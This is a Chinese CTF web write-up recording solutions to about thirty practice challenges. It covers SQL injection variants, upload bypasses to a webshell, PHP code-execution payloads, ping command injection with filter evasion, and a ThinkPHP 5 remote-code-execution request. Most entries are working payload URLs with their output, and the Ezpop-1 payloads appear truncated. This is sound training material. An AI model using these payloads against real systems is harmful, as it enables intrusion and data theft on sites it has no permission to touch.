CTF简单WEB做题记录


囫囵吞枣式做题,留个做题思路的简单记录和参考免得全忘了。



1. easy_web

index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

对参数img的内容两次base64,一次hex解密,得到555.pnf0。按照许多wp写的那样,这里应该是555.png才对,不知道是故意的还是不小心。

CTF简单WEB做题记录_第1张图片

到了这里,已然发现参数img可以用来读取文件。用555.pnf0加密的方法加密index.php,再通过img提交。

CTF简单WEB做题记录_第2张图片

payload(使用参数img读取index.php内容):

index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=

查看源代码,然后将img的内容进行base64解密,得到index.php源码。

CTF简单WEB做题记录_第3张图片

CTF简单WEB做题记录_第4张图片

分析源码,发现其禁用了许多字符。且唯有当a的值不等于b的值且他们的md5值相等时,页面才会输出cmd执行后的值。

CTF简单WEB做题记录_第5张图片

这里可以用以下内容进行MD5强绕过:

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&=

以上尾部标紫的&=暂时不知道是什么,看很多人的WP中没有这部分,但是我不加的话题目就无法正常回显。

考虑到对cmd过滤的内容,通过dir+/查看根目录内容,发现flag。

CTF简单WEB做题记录_第6张图片

代码审计,绕过cmd过滤。

payload:ca\t+/flag

CTF简单WEB做题记录_第7张图片

【参考】

https://www.cnblogs.com/rabbittt/p/13303955.html

BUUCTF WEB [安洵杯 2019]easy_web 1 WP_是路酒呀的博客-CSDN博客

buuctf [安洵杯 2019]easy_web 记录_penson by 小乌的博客-CSDN博客

2. chengjidan

简单判断出这题参数通过POST方式提交(看源码和url)。

简单判断出闭合方式为单引号。再简单判断出列数为4。

CTF简单WEB做题记录_第8张图片 CTF简单WEB做题记录_第9张图片

再简单找出四个回显位。

CTF简单WEB做题记录_第10张图片

开始注入。

CTF简单WEB做题记录_第11张图片 CTF简单WEB做题记录_第12张图片

CTF简单WEB做题记录_第13张图片 CTF简单WEB做题记录_第14张图片

3. sqli-search

简单判断出参数提交方式为POST(源码和url),闭合方式为单引号。

CTF简单WEB做题记录_第15张图片

通过测试,这道题只能通过报错注入做出。

CTF简单WEB做题记录_第16张图片 CTF简单WEB做题记录_第17张图片

CTF简单WEB做题记录_第18张图片 CTF简单WEB做题记录_第19张图片

CTF简单WEB做题记录_第20张图片

4. sqli-stack_injection

直奔主题,进行注入。

CTF简单WEB做题记录_第21张图片 CTF简单WEB做题记录_第22张图片

?inject=1'+union+select+1,group_concat(column_name)from+information_schema.columns+where+table_schema=database()+and+table_name='1919810931114514'--+

CTF简单WEB做题记录_第23张图片

到这里,常规命令就行不通了,需要涉及到堆叠注入的知识。先看一下另一个表的结构。

CTF简单WEB做题记录_第24张图片

将表words重命名为words1,将表1919810931114514重命名为words,再将列名flag改为原words表的id。然后就可以查询id字段得到flag了。

CTF简单WEB做题记录_第25张图片  CTF简单WEB做题记录_第26张图片CTF简单WEB做题记录_第27张图片

【参考】

Stacked Queries(堆叠注入)_zhang三的博客-CSDN博客

5. upload-1

审核源码,发现js限制了上传文件的类型,根据提示:js说不让你上传。那就禁用js好了。

上传成功后,发现不知道文件路径。查看源码,发现路径。

CTF简单WEB做题记录_第28张图片

蚁剑连接。

CTF简单WEB做题记录_第29张图片

根目录发现flag。

CTF简单WEB做题记录_第30张图片

6. upload-2

将Content-Type由application/octet-stream改为image/png成功绕过。

CTF简单WEB做题记录_第31张图片

蚁剑连接,根目录发现flag。

CTF简单WEB做题记录_第32张图片

CTF简单WEB做题记录_第33张图片

【参考】文件上传绕过各种姿势_ChengggNo1的博客-CSDN博客

7. upload-3

随便上传一个,出现如下提示,可知此题为黑名单绕过。

CTF简单WEB做题记录_第34张图片

Burpsuite抓包,不断尝试修改后缀为php5,php4…直到php3蚁剑连接成功。

CTF简单WEB做题记录_第35张图片 CTF简单WEB做题记录_第36张图片

8. upload-4

编写.htaccess文件,保存为所有文件,上传。

CTF简单WEB做题记录_第37张图片 

CTF简单WEB做题记录_第38张图片

修改木马后缀为jpg。蚁剑连接成功。

CTF简单WEB做题记录_第39张图片  CTF简单WEB做题记录_第40张图片

9. upload-5

后缀后面随便加个不存在的后缀,上传成功。

CTF简单WEB做题记录_第41张图片

蚁剑连接成功。

CTF简单WEB做题记录_第42张图片

10.php_eval

payload:?x=system("ls");

flag.php html index.php

payload:?x=var_dump(file(%22flag.php%22));

查看源代码(一般这种题flag不会直接回显到页面,需要查看源代码):

CTF简单WEB做题记录_第43张图片 CTF简单WEB做题记录_第44张图片

11. php_assert

?a=system("ls");

flag.php html index.php

?a=var_dump(file("flag.php"));

查看源代码:

CTF简单WEB做题记录_第45张图片

12. php_preg_replace

preg_replace("/moon/e",$_REQUESTshell'],"I love moon"); 这行代码使用 PHP 的 preg_replace 函数,将字符串 "I love moon" 中的所有 "moon" 替换为 $_REQUEST['shell'] 中的内容。其中,"/moon/e" 是一个正则表达式,表示要匹配的字符串是 "moon","e" 标志表示将替换字符串作为 PHP 代码执行。这意味着, $_REQUEST['shell'] 中包含 PHP 代码,它将被执行。GPT

?shell=system("ls");

flag.php html index.php

?shell=var_dump(file("flag.php"));

查看源代码:

CTF简单WEB做题记录_第46张图片

13. php_call_user_func

call_user_func($_GET['666'], $_GET['six']); 这行代码使用 PHP 的 call_user_func 函数,调用名为 $_GET['666'] 的函数将 $_GET['six'] 作为参数传递给该函数。这意味着,$_GET['666'] 中包含函数名,$_GET['six'] 中包含函数参数。GPT

?666=system&six=ls

flag.php html index.php

?666=system&six=cat flag.php

14. call_user_func_array

?joker=system&king[]=ls

flag.php html index.php

?joker=system&king[]=cat flag.php

15. php_create_function

?aK762=system("cat flag.php");

CTF简单WEB做题记录_第47张图片

16. php_system

?system_pass=ls

flag.php html index.php

?system_pass=cat%20flag.php

18. php_eval_1

?c=system("ls");

flag.php html index.php

反引号绕过:?c=system("cat%20`ls`");

CTF简单WEB做题记录_第48张图片

【参考】

命令执行(RCE)面对各种过滤,骚姿势绕过总结 - 知乎

19. php_eval_2

url编码绕过system过滤,dir未被过滤:

?sec=%73%79%73%74%65%6D(%27dir%27);

转义符号绕过ls过滤:

?sec=%73%79%73%74%65%6D(%27l\s%27);

flag.php html index.php

反引号内敛执行绕过:

?sec=%73%79%73%74%65%6D(%27c\at `ls`%27);

CTF简单WEB做题记录_第49张图片

20. easy-php-1

题目对部分关键字和函数进行了过滤,可以通过取反绕过过滤。

Payload

echo urlencode(~'print_r');  //urlencode url编码  ~ 取反

echo "\n";

echo urlencode(~'scandir');

echo "\n";

echo urlencode(~'.');

echo "\n";

echo urlencode(~'highlight_file');

echo "\n";

echo urlencode(~'flag.php');

print_r(scandir('.'))   //打印当前目录下的文件

/?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1)))

回显:Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )

显示flag.php

highlight_file('flag.php')

?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F))

回显:

【参考】https://www.cnblogs.com/trevain/p/14272674.html

21. thinkphp5

利用ThinkPHP 5的一个严重的远程代码执行漏洞:程序未对控制器进行过滤,导致攻击者可以用 \(斜杠)调用任意类方法。

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20/

回显:

bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var var

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag.txt

回显:

【参考】攻防世界 ThinkPHP V5(漏洞解析及利用)_thinkphp v5这么有名的漏洞,直接网上找poc_高木正雄的博客-CSDN博客

22. ping

方法为绕过ping执行其他命令。此题禁用了空格,flag,常见符号等。

?ip=127.0.0.1;ls

CTF简单WEB做题记录_第50张图片

?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php

查看源代码

CTF简单WEB做题记录_第51张图片

【参考】ctf-ping命令执行_ctf ping_XingHe_0的博客-CSDN博客

23. easy_md5

弱类型比较绕过。

法一:采用前方第一道题的绕过payload即可绕过。

?a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&=

CTF简单WEB做题记录_第52张图片

法二:md5强比较,此时如果传入的两个参数不是字符串,而是数组,md5()函数无法解出其数值,而且不会报错,就会得到===强比较的值相等。

?a[]=111&b[]=222

CTF简单WEB做题记录_第53张图片

【参考】

【PHP】MD5比较漏洞 弱比较、强比较、强碰撞_php强比较_小 白 萝 卜的博客-CSDN博客

https://www.cnblogs.com/kuaile1314/p/11968108.html

24. middle_md5

方法基本同上一题,不过是md5绕过的不同形式罢了。

25. number_and_switch

16进制加单引号绕过函数is_numeric()。

?num=0x123456%27

【参考】

BUUCTF- is_numeric() 和 ==弱比较-绕过waf_双层小牛堡的博客-CSDN博客

ctfshow php特性系列_"include(\"flag.php\"); highlight_file(__file__);"_xiaolong22333的博客-CSDN博客

[CTF]php is_numeric绕过_ctf is_numeric绕过_真·skysys的博客-CSDN博客

25. ereg

利用ereg函数的%00截断漏洞。函数strrev(),字符串反转。函数intval(),获取变量的整数值。

首先正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877%00a,再用intval函数获取整数部分得到877,877为0x36d的10进制。

payload:c=a%00778

26. extract

extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

如果$gift == $content则输出flag,所以可以利用引用的特性,使得它们一定相等。

payload:?gift=&content

【参考】bugku ctf 代码审计 extract变量覆盖_ctf extract_就是217的博客-CSDN博客

27. exec

和上面那道ping题差不多一样的绕过方法,只不过这道题的过滤要更加严格些,payload需要更加复杂点。

payload:

?ip=127.0.0.1;b=ag;a=fl;c=ca;d=t;$c$d$IFS/var/www/$a$b.php

查看源代码:

28. sqli-chinasql

宽字节注入

?id=-1%df%27union%20select%201,2,database()--+

?id=-1%df%27union%20select%201,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+

?id=-1%df%27union%20select%201,2,group_concat(column_name)from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema = database() limit 0,1)--+

?id=-1%df%27union%20select%201,2,flag from flag--+

【参考】宽字节注入靶场练习_回声777的博客-CSDN博客

29. Ezpop

这个题我一开始以为要利用引用,后来发现不对。直接手搓值相等就可以了。通过以下代码得到需要的str序列化值:


$KEY = 'admin';
$str=&$KEY;
echo serialize($str);

s:5:"admin";

payload:?str=s:5:"admin";

30. Ezpop-1

通过反序列化给shell.php文件写入值。

?test=O:6:"Decade":1:{s:4:"test";s:20:"";}

?test=O:6:"Decade":1:{s:4:"test";s:23:"";}

?test=O:6:"Decade":1:{s:4:"test";s:28:"";}

【参考】

php反序列化漏洞_Shanfenglan7的博客-CSDN博客

https://www.cnblogs.com/bmjoker/p/8889240.html

你可能感兴趣的:(php,sql,web安全)